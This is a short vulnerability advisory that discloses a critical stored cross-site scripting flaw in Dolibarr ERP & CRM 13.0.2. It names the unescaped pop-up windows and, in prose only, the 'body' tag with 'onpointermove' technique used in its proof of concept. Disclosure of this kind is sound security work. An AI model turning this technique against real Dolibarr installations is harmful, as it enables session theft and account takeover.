Stored cross-site scripting in Dolibarr ERP & CRM

Overview
########
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2105-02
Affected product: Dolibarr ERP & CRM
Tested versions: Dolibarr 13.0.2
Vendor: Dolibarr foundation, https://www.dolibarr.org

Detailed description
####################
Trovent Security GmbH discovered that the Dolibarr application does not escape
"greater than" and "smaller than" characters if they are reflected in one of the
small pop-up windows with details of the object.
This allows an attacker to add certain custom HTML tags and attributes.
In our PoC we used a "body" tag in conjunction with an "onpointermove" attribute
to achieve constant execution of the inserted JavaScript code.
Severity: Critical
CVSS Score: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE ID: CWE-79
